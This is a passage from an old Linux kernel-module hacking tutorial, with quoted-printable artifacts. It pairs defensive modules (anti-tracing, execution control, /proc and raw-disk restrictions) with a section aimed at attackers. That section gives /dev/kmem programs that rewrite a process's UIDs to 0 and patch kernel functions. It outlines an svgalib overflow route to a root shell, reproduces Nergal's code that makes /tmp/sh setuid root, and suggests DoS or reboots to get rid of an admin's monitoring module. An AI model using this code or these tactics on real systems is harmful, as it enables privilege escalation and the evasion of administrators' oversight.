  • find another way to authenticate (use your own user space = interface, with=20 your own systemcalls; use userID (not just a plain password); perhaps = you have=20 a biometric device -> read documentation and code your device = driver for=20 Linux and use it ;) ...) BUT REMEMBER: the most secure hardware = protection=20 (dongles, biometric, smartcard systems can often be defeated because = of a very=20 insecure software interface;. You could secure your whole system with = a=20 mechanism like that. Control your whole kernel with a smartcard = :)
    Another=20 not so 'extreme' way would be to implement your own systemcall which = is=20 responsible for authentication. (see II.11 for an example of creating = your own=20 systemcall).
  • find a better way to check in sys_create_module(...). Checking a = variable=20 is not very secure, if someone rooted your system he could patch the = memory=20 (see the next part)
  • find a way to make it impossible for an attacker to use your=20 authentication for insmod'ing his LKM
  • add hiding features
  • ...
You can see, there is some work to do. But even = with those=20 steps, your system cannot be totally secure.If someone rooted the system = he=20 could find other tricks to load his LKM (see next part); perhaps he even = does=20 not need a LKM, because he only rooted thesystem, and don't want to hide = files /=20 processeses (and the other wonderfull things possible with LKMs).=20

2. Anti-LKM-Infector ideas

  • memory resident (realtime) scanner (like TSR virus scanner in DOS;or = VxD=20 scanner virus in WIN9x)
  • file checking scanner (checking module files for signs of an = infection)
      The first method is possible through intercepting = sys_create_module (or=20 the init_module call). The second approach needs something = characteristic which=20 you may find in any infected file. We know that the LKM infector appends = two=20 module files. So we could check for two ELF headers / signatures. Of = course, any=20 other LKM infector could use a improved method (encryption, = selfmodifying code=20 etc.). I won't present a file checking scanner, because you just have to = write a=20 little (user space) programm that reads in the module, and checks for = twe ELF=20 headers (the 'ELF' string, for example).=20

      3. Make your programs untraceable = (theory)

      Now it's=20 time to beat hackers snooping our executables. As I said before strace = is the=20 tool of our choice. I presented it as a tool helping us to see which = systemcalls=20 are used in certain programs. Another very interesting use of strace is = outlined=20 in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to use = strace=20 for TTY hijacking. Just strace your neighbours shell,and you will get = every=20 input he makes. So you admins should realize the danger of strace. The = program=20 strace uses the following API function :
      #include <sys/ptrace.h> int ptrace(int request, int pid, int addr, int data); Well how can we control strace? Don't be silly and remove strace = from your=20 system, and think everything is ok - as I show you ptrace(...) is a = library=20 function. Every hacker can code his own program doing the same as = strace. So we=20 need a better more secure solution. Your first idea could be to search = for an=20 interesting systemcall that could be responsible for the tracing; There = is a=20 systemcall doing that; but let's look at another approach = before.
      Remember=20 II.5.1 : I talked about the task flags. There were two flags which stand = for=20 traced processes. This is the way we can control the tracing on our = system. Just=20 intercept the sys_execve(...) systemcall and check the current process = for one=20 of the two flags set.

      3.1 Practical Example of a prototype=20 Anti-Tracer

      This is my little LKM called 'Anti-Tracer'. It basicly=20 implements the ideas from 4. The flags field from our process can easily = be=20 retrieved using the current pointer (task structure). The rest is = nothing new. #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int __NR_myexecve; int (*orig_execve) (const char *, const char *[], const char *[]); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int my_execve(const char *filename, const char *argv[], const char = *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), = "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char = *envp[]) { int ret, tmp; unsigned long mmm; char *kfilename; /*check for the flags*/ if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) {=20 /*we are traced, so print the traced process (program name) and return without execution*/ kfilename = (char *) kmalloc(256, GFP_KERNEL); (void) strncpy_fromfs(kfilename, filename, 255); printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename); kfree(kfilename); return 0; } ret = my_execve(filename, argv, envp); return ret; } int init_module(void) /*module setup*/ { __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0)=20 { sys_call_table[__NR_myexecve] = orig_execve;=20 sys_call_table[SYS_execve] = (void *) hacked_execve; } return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_execve]=orig_execve; = =20 } <xmp> This LKM also logs any executable someone wanted to execute with = tracing. Well this LKM checks for some flags, but what if you start tracing a program = which is already running. Just imagine a program (shell or whatever) running = with the PID 1853, now you do a 'strace -p 1853'. This will work. So for securing = this hooking sys_ptrace(...) is the only way. Look at the following module : <xmp> #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_ptrace)(long request, long pid, long addr, long data); int hacked_ptrace(long request, long pid, long addr, long data) { printk("TRACING IS NOT ALLOWED\n"); return 0; } int init_module(void) /*module setup*/ { orig_ptrace=sys_call_table[SYS_ptrace]; sys_call_table[SYS_ptrace]=hacked_ptrace; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_ptrace]=orig_ptrace; = =20 } <xmp> Use this LKM and no one will be able to trace anymore. <H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3> This section subject may sound familiar to Phrack readers. Route = introduced nice ideas for making the Linux system more secure. He used some patches. I = want to show that some ideas can also be implemented by LKMs. Remember that = without hiding those LKMs it is also <i>useful</i> (of course hiding is = something you should do), because route's patches are also worthless if someone rooted the = system; and a non-priviledged user can <i>not</i> remove our LKM, but he can see = it. The advantage of using LKMs instead of a static kernel patch : you can = easily manage the whole system security, and install it more easily on running = system. It's not necessary to install a new kernel on sensitive system you need = every second.<br> The Phrack patches also added some logging feature's which I did not = implement but there are thousand ways to do it.The simpelst way would be using = printk(...) [Note : I did not look at every aspect of route's patches. Perhaps real = good kernel hackers would be able to do more with LKMs.] <H4><A NAME="III.4.1."></A>4.1 Why should we allow arbitrary programs = execution rights? </h4> The following LKM is something like route's kernel patch that checks for = execution rights : <xmp> #define __KERNEL__ #define MODULE #include <linux/version.h> #include <linux/mm.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/types.h> #include <asm/errno.h> #include <asm/string.h> #include <linux/fcntl.h> #include <sys/syscall.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/kernel.h> #include <linux/kerneld.h> /* where the sys_calls are */ int __NR_myexecve = 0; extern void *sys_call_table[]; int (*orig_execve) (const char *, const char *[], const char *[]); int (*open)(char *, int, int); int (*close)(int); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int my_execve(const char *filename, const char *argv[], const char = *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), = "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char = *envp[]) { int fd = 0, ret; struct file *file; /*we need the inode strucure*/ /*I use the open approach here, because you should understand it from = the LKM infector, read on for seeing a better approach*/ fd = open(filename, O_RDONLY, 0);=20 =20 file = current->files->fd[fd]; /*is this a root file ?*/ /*Remember : you can do other checks here (route did more checks), but = this is just for demonstration. Take a look at the inode = structur to see other items to heck for (linux/fs.h)*/ if (file->f_inode->i_uid!=0) { printk("<1>Execution denied !\n"); close(fd); return -1; } else /*otherwise let the user execute the file*/ { ret = my_execve(filename, argv, envp); return ret; } } int init_module(void) /*module setup*/ { printk("<1>INIT \n"); __NR_myexecve = 250; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0)=20 { printk("<1>everything OK\n"); sys_call_table[__NR_myexecve] = orig_execve;=20 sys_call_table[SYS_execve] = (void *) hacked_execve; } open = sys_call_table[__NR_open];=20 close = sys_call_table[__NR_close]; =20 return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_execve]=orig_execve; = =20 } This is not exactly the same as route's kernel patch. route = checked the=20 path we check the file (a path check would also be = possible, but=20 in my opinion a file check is also the better way). I only implemented a = check=20 for UID of the file, so an admin can filter the file execution process. = As I=20 said the open / fd approach I used above is not the easiest way; I took = it=20 because it should be familiar to you (remember, the LKM infector used = this=20 method). For our purpose the following kernel function is also possible = (easier=20 way) : int namei(const char *pathname, struct inode **res_inode); int lnamei(const char *pathname, struct inode **res_inode); Those functions take a certain pathname and return the = corresponding inode=20 structure. The difference between the functions above lies in the = symlink=20 resolving : lnamei does not resolve a symlink and returns the = inode=20 structure for the symlink itself. As a hacker you could also modify = inodes. Just=20 retrieve them by hooking sys_execve(...) and using namei(...) (the way = we use=20 also for execution control) and manipulate the inode (I will show a = practical=20 example of this idea in 5.3).=20

      4.2 The Link Patch

      Every Linux user knows = that=20 symlink bugs are something which often leads to serious problems if it = comes to=20 system security. Andrew Tridgell developed a kernel patch which prevents = a=20 process from 'following a link which is in a +t (mostly /tmp/) directory = unless=20 they own the link'. Solar Designer added some code which also prevents = users=20 from creating hard links in a +t directory to files they don't own.
      I = have to=20 admit that the symlink patch lies on a layer we can't easily reach from = our LKM=20 psotion. There are neither exported symbols we could patch nor any = systemcalls=20 we could intercept. The symlink resolving is done by the VFS. Take a = look at=20 part IV for methods which could help us to solve this problem (but I = would not=20 use the methods from IV to secure a system). You may wonder why I = don't=20 use the sys_readlink(...) systemcall for solving the problem. Well this = call is=20 used if you do a 'ls -a symlink' but it is not called if you issue a = 'cat=20 symlink'.
      In my opinion you should leave this as a kernel patch. Of = course=20 you can code a LKM which intercepts the sys_symlink(...) systemcall in = order to=20 prevent a user from creating symlinks in the /tmp directory. Look at the = hard=20 link LKM for a similar implementation.
      Ok, the symlink problem was a = bit hard=20 to transform it to a LKM. How about Solar Designer's idea concerning = hard link=20 restrictions. This can be done as LKM. We only need to intercept = sys_link(...)=20 which is responsible for creating any hard links.Let's take a look at = hacked=20 systemcall (the code fragment does not exactly the same as the kernel = patch,=20 because we only check for the '/tmp/' directory, not for the sticky = bit(+t),but=20 this can also be done with looking at the inode structure of the = directoy [see=20 5.1]) : int hacked_link(const char *oldname, const char *newname) { char *kernel_newname; int fd = 0, ret; struct file *file; kernel_newname = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_newname, newname, 255); /*hard link to /tmp/ directory ?*/ if (strstr(kernel_newname, (char*)&hide ) != NULL) { kfree(kernel_newname); /*I use the open approach again :)*/ fd = open(oldname, O_RDONLY, 0);=20 =20 file = current->files->fd[fd]; /*check for UID*/ if (file->f_inode->i_uid!=current->uid) { printk("<1>Hard Link Creation denied !\n"); close(fd); return -1; } } else { kfree(kernel_newname); /*everything ok -> the user is allowed to create the hard link*/ return orig_link(oldname, newname); } } This way you could also control the symlink creation.=20

      4.3 The /proc permission patch

      I already = showed you=20 some ways how to hide some process information.route's idea is different = to our=20 hide approach. He wants to limit the /proc/ access (needed for access to = process=20 information) by changing the directory permissions. So he patched the = proc=20 inode. The following LKM will do exactly the same without a static = kernel patch.=20 If you load it a user will not be allowed to read the proc fs, if you = unload it=20 he will be able to. Here we go : /*very bad programming style = (perhaps we should use a function for the indode retrieving), but it works...*/ #define __KERNEL__ #define MODULE #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} #include <linux/version.h> #include <linux/mm.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/types.h> #include <asm/errno.h> #include <asm/string.h> #include <linux/fcntl.h> #include <sys/syscall.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/kernel.h> #include <linux/kerneld.h> extern void *sys_call_table[]; int (*open)(char *, int, int); int (*close)(int); int init_module(void) /*module setup*/ {=20 int fd = 0; struct file *file; struct inode *ino; =20 /*again the open(...) way*/ open = sys_call_table[SYS_open];=20 close = sys_call_table[SYS_close]; /*we have to supplie some kernel space data for the systemcall*/ BEGIN_KMEM fd = open("/proc", O_RDONLY, 0);=20 END_KMEM printk("%d\n", fd); file = current->files->fd[fd]; /*here's the inode for the proc directory*/ ino= file->f_inode; /*modify permissions*/ ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR; close(fd); return 0; } void cleanup_module(void) /*module shutdown*/ { int fd = 0; struct file *file; struct inode *ino; =20 BEGIN_KMEM fd = open("/proc", O_RDONLY, 0);=20 END_KMEM printk("%d\n", fd); file = current->files->fd[fd]; /*here's the inode for the proc directory*/ ino= file->f_inode; /*modify permissions*/ ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO; close(fd); } Just load this module and try a ps, top or whatever, it won't = work. Every=20 access to the /proc directory is totally denied. Of course, as root you = are=20 still allowed to view every process and anything else; this is just a = permission=20 patch in order to keep your users silly.
      [Note : This is a practical=20 implementation of modifying inodes 'on the fly' you should see many=20 possibilities how to abuse this.]=20

      4.4 The securelevel patch

      The purpose of = this patch=20 : I quote route=20
      "This patch isn't really much of a patch. It simply bumps = the=20 securelevel up, to 1 from 0. This freezes the immutable and = append-only bits=20 on files, keeping anyone from changing them (from the normal chattr=20 interface). Before turning this on, you should of course make certain = key=20 files immutable, and logfiles append-only. It is still possible to = open the=20 raw disk device, however. Your average cut and paste hacker will = probably not=20 know how to do this."
      Ok this one is really easy to = implement as a=20 LKM. We are lucky because the symbol responsible for the securelevel is = public=20 (see /proc/ksyms) so we can easily change it. I won't present an example = for=20 this bit of code, just import secure level and set it in the module's = init=20 function.=20

      4.5 The rawdisk patch

      I developed an easy = way to=20 avoid tools like THC's manipate-data.
      Those tools are used by hackers = to=20 search the hard disk for their origin IP address or DNS name. After = finding it=20 they modify or remove the entry from the hard disk. For doing all this = they need=20 access to the /dev/* files for opening the rawdisk. Of course they can = only do=20 this after rooting the system. So what can we do about this. I found = that the=20 following way helps to prevent those attacks [of course there are again = thousand=20 ways to defeat that protection :(] :=20
      • boot your system
      • install a LKM which prevents direct (dev/*) access to your = partition you=20 save your logs
      This works because the system (normally) = only needs=20 direct access to the rawdisk during the some (seldom) operationes. The = LKM just=20 intercepts sys_open(...) and filter for the needed dev-file. I think = it's not=20 necessary to show how to code it, take a look at II.4.2). This way you = can=20 protect any /dev/* file. The problem is that this way nobody can access = them=20 directly while the LKM is loaded.
      [Note : There are some functions = which=20 will not work / crash the system, but a normal web-, or mailserver = should work=20 with this patch.]

      IV. Some Better Ideas (for hackers)

      1. Tricks to beat admin LKMs

      This part will = give us=20 some notes on playing with the kernel on systems where you have a = paranoid=20 (good) admin. After explaining all the ways admins can protect a system, = it is=20 very hard to find better ways for us (hackers).
      We need to leave the = LKM=20 field for some seconds in order to beat those hard = protections.
      Imagine a=20 system where an admin has installed a very good and big monitor LKM = which checks=20 every action on that system. It can do everything mentioned in part II = and=20 III.
      The first way to get rid of this LKM is trying to reboot the = system,=20 perhaps the admin did not load this LKM from an init file. So try some = DoS=20 Attacks or whatever works. If you still cannot kill this LKM try to look = at some=20 important files, but be careful, some files may be protected / monitored = (see=20 appendix A for such a LKM).
      If you really cannot see where the LKM is = loaded=20 etc., forget the system or risk installing a backdoor, which you cannot = hide=20 (process/file). But if an admin really uses such a 'mega' LKM, forget = the=20 system, he might really be good and you may get some trouble. For those = who even=20 want to beat that system read section 2.=20

      2. Patching the whole kernel - or creating the=20 Hacker-OS

      [Note : This section may sound a bit off topic, but in the = end=20 I'll present a nice idea (program that was developed by Silvio Cesare = which will=20 also help us using our LKMs. This section will only give a summary of = the whole=20 kmem problem due to the fact that we only need to focus on the idea by = Silvio=20 Cesare.]
      Ok LKM's are nice. But what if the admin is like the one = described=20 in 1. He does everything in order to prevent us from using our nice LKM=20 techniques from part II. He even patched his own kernel, to make his = system=20 secure. He uses a kernel without native LKM support.
      So now it's time = to make=20 our last step : Runtime Kernel Patching. The basic ideas in this section = come=20 from some sources I found (kmemthief etc) and a paper by Silvio Cesare = which=20 describes a general approach to modifying kernel symbols. In my opinion = this=20 kind of attack is one of the strongest concerning 'kernel hacking'. I = don't=20 undersand every Un*x kernel out there, but this approac can help you on = many=20 systems. This section describes Runtime Kernel Patching, but what about=20 kernelfile patching. Every system has a file which represents the plain = kernel.=20 On free systems like FreeBSD, Linux, ... it is easy to patch a kernel = file, but=20 what about the commercial ones ? I never tried it, but I think this = would really=20 be interesting : Imagine backdoor'ing a system thru a kernel patch. You = only=20 have to do a reboot or wait for one (every system must reboot sometimes = :). But=20 this text will only deal with the runtime approach. You may say that = this paper=20 is called 'Abusing Linux Loadable Kernel Modules' and you don't want to = know how=20 to patch the whole Linux kernel. Well this section will help us to = 'insmod' LKMs=20 on systems which are very secure and have no LKM support in their = kernel. So we=20 learn something which will help us with our LKM abusing.
      So let's = start with=20 the most important thing we have to deal with if we want to do = RKP(Runtime=20 Kernel Patching).It's the file /dev/kmem,which makes it possible for us = to take=20 a look (and modify) the complete virtual memory of our target system. = [Note :=20 Remember that the RKP approach is in most cases only useful, if you = rooted a=20 system. Only very unsecure systems will give normal users access to that = file].
      As I said before /dev/kmem gives us the chance to see every = memory=20 byte of our system (plus swap). This means we can also access the whole = memory=20 which allows us to manipulate any kernel item in the memory (because the = kernel=20 is only some objectcode loaded into system memory). Remember the = /proc/ksyms=20 file which shows us every address of an exported kernel symbol. So we = know where=20 to modify memory in order to manipulate some kernel symbols. Let's take = a look=20 at a very basic example which is know for a very long time. The = following (user=20 space) program takes the task_structure address (look for kstat in = /proc/ksyms)=20 and a certain PID. After seacxhing the task structure that stands for = the=20 specified PID it modifies every user id field in order to make this = process=20 UID=0. Of course today this program is nearly of no use, because most = systems=20 don't even allow a normal user to read /dev/kmem but it is a good = introduction=20 into RKP. /*Attention : I implemented no error checking!*/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> /*max. number of task structures to iterate*/ #define NR_TASKS 512 /*our task_struct -> I only use the parts we need*/ struct task_struct { char a[108]; /*stuff we don't need*/ int pid; char b[168]; /*stuff we don't need*/ unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; char c[700]; /*stuff we don't need*/ }; /*here's the original task_structure, to show you what else you can = modify struct task_struct { volatile long state;=09 long counter; long priority; unsigned long signal; unsigned long blocked; unsigned long flags; int errno; long debugreg[8];=20 struct exec_domain *exec_domain; struct linux_binfmt *binfmt; struct task_struct *next_task, *prev_task; struct task_struct *next_run, *prev_run; unsigned long saved_kernel_stack; unsigned long kernel_stack_page; int exit_code, exit_signal; unsigned long personality; int dumpable:1; int did_exec:1; int pid; int pgrp; int tty_old_pgrp; int session; int leader; int groups[NGROUPS]; struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; struct wait_queue *wait_chldexit; unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; unsigned long timeout, policy, rt_priority; unsigned long it_real_value, it_prof_value, it_virt_value; unsigned long it_real_incr, it_prof_incr, it_virt_incr; struct timer_list real_timer; long utime, stime, cutime, cstime, start_time; unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; int swappable:1; unsigned long swap_address; unsigned long old_maj_flt;=09 unsigned long dec_flt; =09 unsigned long swap_cnt;=09 struct rlimit rlim[RLIM_NLIMITS]; unsigned short used_math; char comm[16]; int link_count; struct tty_struct *tty;=20 struct sem_undo *semundo; struct sem_queue *semsleeping; struct desc_struct *ldt; struct thread_struct tss; struct fs_struct *fs; struct files_struct *files; struct mm_struct *mm; struct signal_struct *sig; #ifdef __SMP__ int processor; int last_processor; int lock_depth;=09 #endif=09 }; */ int main(int argc, char *argv[]) { unsigned long task[NR_TASKS]; /*used for the PID task structure*/ struct task_struct current; int kmemh; int i; pid_t pid; int retval; pid = atoi(argv[2]); kmemh = open("/dev/kmem", O_RDWR); =09 /*seek to memory address of the first task structure*/ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); read(kmemh, task, sizeof(task)); =09 /*iterate till we found our task structure (identified by PID)*/ for (i = 0; i < NR_TASKS; i++)=20 { lseek(kmemh, task[i], SEEK_SET); read(kmemh, &current, sizeof(current)); /*is it our process?*/ if (current.pid == pid)=20 { /*yes, so change the UID fields...*/ current.uid = current.euid = 0; current.gid = current.egid = 0; /*write them back to memory*/ lseek(kmemh, task[i], SEEK_SET); write(kmemh, &current, sizeof(current)); printf("Process was found and task structure was modified\n"); exit(0); } } } Nothing special about this little program. It's just like = searching a=20 certain pattern in a file and changing some fields. There are lots of = programs=20 out there which are doing stuff like that. As you can see the example = above=20 won't help you attacking a system, it's just for demonstration (but = there mayby=20 some poor systems allowing users to write to /dev/kmem, I don't = know).
      The=20 same way you can change the module structures responsible for holding = the=20 kernel's module information. This way you can also hide a module, just = by=20 patching kmem; I don't present an implementation of this, because it is = basicly=20 the same as the program above (ok, the searching is a bit harder = ;)).
      The way=20 above we modified a kernel structure. There are some programs doing = things like=20 that. But what about functions ? Well seach the internet and you will = soon=20 recognize that there are not so many programs doing things like that. = Well, of=20 course patching a kernel function (we will do more useful things later) = is a bit=20 tricky. The best way would be to play with the sys_call_table structure = which=20 will point to a completely new function made by us. Otherwise there = would be=20 some problems concerning function size and so on. The following example = is just=20 a very easy program making every systemcall doing nothing. I just insert = a=20 RET(0xc3)at the beginning of the function address that I get from = /proc/ksyms.=20 This way the function will return immediately doing = nothing.
      /*again no error checking*/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> /*just our RET opcode*/ unsigned char asmcode[]={0xc3}; int main(int argc, char *argv[]) { unsigned long counter; int kmemh; /*open device*/ kmemh = open("/dev/kmem", O_RDWR); =09 /*seek to memory address where the function starts*/ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); /*write our patch byte*/ write(kmemh, &asmcode, 1): close(kmemh); } Let's summarize what we know so far : We can modify any kernel = symbol;=20 this includes things like sys_call_table[] and any other function or=20 structure.
      Remember that every kernel patching can only be done if we = can=20 access /dev/kmem but there are also ways how to protect this file. Take = a look=20 at III.5.5.=20

      2.1 How to find kernel symbols in = /dev/kmem

      After=20 the basic examples above you could ask how to modify any kernel = symbol=20 and how to find interesting ones. In the example above we used = /proc/ksyms to=20 get the address we need to modify a symbol. But what do we have on = systems with=20 no lkm support build into their kernel, there won't be a /proc/ksyms = file,=20 because it is only used for module management (public / available = symbols)? And=20 what about kernel symbols that are not exported, how can we modify them=20 ?
      Many questions, so let's find some solutions. Silvio Cesare = discussed some=20 ways finding different kernel symbols (public & non-public ones). He = outlines that while compiling the linux kernel a file called = 'System.map' is=20 created which maps every kernel symbol to a fixed address. This file is = only=20 needed during compilation for resolving those kernel symbols. The = running=20 systems has no need for that file.The addresses used for compilation are = the=20 same we can use to seek /dev/kmem. So the general approach would be :=20
      • lookup System.map for the needed kernel symbol
      • take the address we found
      • modify the kernel symbol (structure, function, or=20 whatever)
      Sounds quite easy. But there is one big problem. = Every=20 system which does not use exactly our kernel will have other = addresses=20 for their kernel symbols.
      And on most systems you won't find a = helpful=20 System.map file telling us every address. So what to do. Silvio Cesare = proposed=20 to use a 'key search'. Just take your kernel, read the first 10 bytes = (just a=20 random value) of a symbol address and take them as a key for searching = the same=20 symbol in another kernel.
      If you cannot build a generic key for a = certain=20 symbol you may try to find some relations from this symbol to other = kernel=20 symbols you can create generic keys for. Finding relations can be done = by=20 looking up the kernel sources; this way you can also find interesting = kernel=20 symbols you could modify (patch).

      2.2 The new 'insmod' working without kernel = support=20

      Now it's time to go back to our LKM hacking. This section will give = you=20 some hints concerning Silvio Cesare's kinsmod program. I will only = outline the=20 general working. The most complicated part of the program is the = objectcode=20 handling (elf file) and its kernel space mapping. But this is only a = problem of=20 the elf header processing nothing kernel specific. Silvio Cesare used = elf files=20 because this way you can insert [normal] LKMs. It would also be possible = to=20 write a file (just opcodes -> see me RET example) and inserting this = file=20 which would be harder to could but essier to map. For those who really = want to=20 understand the elf file handling I added Silvio Cesare's file to this = text (I've=20 also done it because Silvio Cesare wants his sources / ideas only be = distributed=20 within the whole file).
      Now it's time to look at the general ideas of = inserting LKMs on a system without support for that feature.
      The = first=20 problem we are faced to if we want to insert code (a LKM or whatever) = into the=20 kernel is the need for memory. We can't take a random address and write = our=20 objectcode to /dev/kmem. So where can we put our code in a way it does = not hurt=20 the running system and will not be removed due to some memory operation = in=20 kernel space. There's one place where we can insert a bit of code, take = a look=20 at the following figure showing the general kernel memory : kernel = data=20 ... kmalloc pool The kmalloc pool is used for memory allocation in kernel space=20 (kmalloc(...)). We cannot put our code into this pool because we cannot = be sure=20 that the address space we write to is unused. Now comes Silvio Cesare's = idea :=20 the kmalloc pool borders in memory are saved in memory_start and = memory_end=20 which are exported by the kernel (see /proc/ksyms). The interesting = point about=20 this is that the start address (memory_start) is not exactly the = kmalloc=20 pool start adress, because this address is aligned to the next page = border of=20 memory_start.So there is a bit of memory which will never be used = (between=20 memory_start and the real start of the kmalloc pool). This is the best = place to=20 insert our code. Ok this is not the whole story, you may recognize that = no=20 useful LKM will fit into this little buffer. Silvio Cesare used some = bootstrap=20 code he put into this little buffer; this code loads the actual LKM. = This way we=20 can load LKMs on systems without support for this. Please read Silvio = Cesare's=20 paper for a in-depth discussion on actually mapping a LKM file (elf = format) into=20 the kernel; this is a bit difficult.=20

      3. Last words

      Section 2 was nice, but what = about=20 systems which do not permit access to kmem? Well a last way would be=20 inserting/modifying kernel space with the help of some kernel bugs. = There are=20 always some buffer overflows and other problems in kernel space. Also = consider=20 checking modules for some bugs. Just take a look at the many source = files of the=20 kernel. Even user space programs can help us to modify the = kernel.
      Bear in=20 mind, that some weeks months ago a bug concerning svgalib was found. = Every=20 program using svgalib gets a handle with write permissions to /dev/mem. = /dev/mem=20 can also be used for RKP with the same adresses as /dev/kmem. So look at = the=20 following list, to get some ideas how to do RKP on very secure systems : =
      • find a program that uses svgalib
      • check the source of that program for common buffer overflows = (should be=20 not too hard)=20
      • write an exploit which starts a program using the open /dev/mem = write=20 handle to manipulate the appropriate task structure to make your = process UID 0=20
      • create a root shell
      This generic scheme works very fine = (zgv,=20 gnuplot or some know examples). For patching the task structure some = people use=20 the following program (which uses the open write handle) by Nergal : = /* by Nergal */ #define SEEK_SET 0 #define __KERNEL__ #include <linux/sched.h> #undef __KERNEL__ #define SIZEOF sizeof(struct task_struct) int mem_fd; int mypid; void testtask (unsigned int mem_offset) { struct task_struct some_task; int uid, pid; lseek (mem_fd, mem_offset, SEEK_SET); read (mem_fd, &some_task, SIZEOF); if (some_task.pid == mypid) /* is it our task_struct ? */ { some_task.euid = 0; some_task.fsuid = 0; /* needed for chown */ lseek (mem_fd, mem_offset, SEEK_SET); write (mem_fd, &some_task, SIZEOF); /* from now on, there is no law beyond do what thou wilt */ chown ("/tmp/sh", 0, 0); chmod ("/tmp/sh", 04755); exit (0); } } #define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your = kstat */ main () /* by doing strings /proc/ksyms |grep = kstat */ { unsigned int i; struct task_struct *task[NR_TASKS]; unsigned int task_addr = KSTAT - NR_TASKS * 4; mem_fd = 3; /* presumed to be opened /dev/mem */ mypid = getpid (); lseek (mem_fd, task_addr, SEEK_SET); read (mem_fd, task, NR_TASKS * 4); for (i = 0; i < NR_TASKS; i++) if (task[i]) testtask ((unsigned int)(task[i])); } This was just an example to show you that there is always one way, = you=20 only have to find it. Systems with stack execution patches, you could = look for=20 heap overflows or just jump into some library functions (system(...)). = There are=20 thousand ways...
      I hope this last section gave you some ideas how to = proceed.=20

      V. The near future : Kernel 2.2.x

      1. Main Difference for LKM writer's

      Linux has = a new=20 Kernel major Version 2.2 which brings some little changes to LKM coding. = This=20 part will help you to make the change, and outline the biggest changes. = [Note :=20 There will be another release concentrating on the new kernel]
      I will = show=20 you some new macros / functions which will help you to develope LKMs for = Kernel=20 2.2. For an exact listing of every change take a look at the new = Linux/module.h=20 include file, which was totally rewritten for Kernel 2.1.18. First we = will look=20 at some macros which will help us to handle the System Table in an = easier way :=20
      macro description
      EXPORT_NO_SYMBOLS; this one is equal to register_symtab(NULL) for older kernel=20 versions
      EXPORT_SYMTAB; this one must be defined before linux/module.h if you want to = export=20 some symbols
      EXPORT_SYMBOL(name); export the symbol named 'name'
      EXPORT_SYMBOL_NOVERS (name); export without version information
      The = user space=20 access functions were also changed a bit, so I will list them here (just = include=20 asm/uaccess.h to use them) :=20
      function description
      int access_ok (int type, unsigned long addr, unsigned long = size); this function checks whether the current process is allowed to = access=20 addr
      unsigned long copy_from_user (unsigned long to, unsigned long = from,=20 unsigned long len); this is the 'new' memcpy_tofs function
      unsigned long copy_to_user (unsigned long to, unsigned long = from,=20 unsigned long len); this is the counterpart of = copy_from_user(...)
      You=20 don't need to use access_ok(...) because the function listed above check = this=20 themselves. There are many more differences, but you should really take = a look=20 at linux/module.h for a detailed listing.
      I want to mention one last = thing. I=20 wrote lots of stuff on the kerneldaemon (kerneld). Kernel 2.2 will not = use=20 kerneld any more. It uses another way of implementing the = request_module(...)=20 kernel space function - it's called kmod. kmod totally runs in = kernel=20 space (no IPC to user space any more). For LKM programmers nothing = changes, you=20 can still use the request_module(...) for loading modules. So the LKM = infectors=20 could use this also on kernel 2.2 systems.
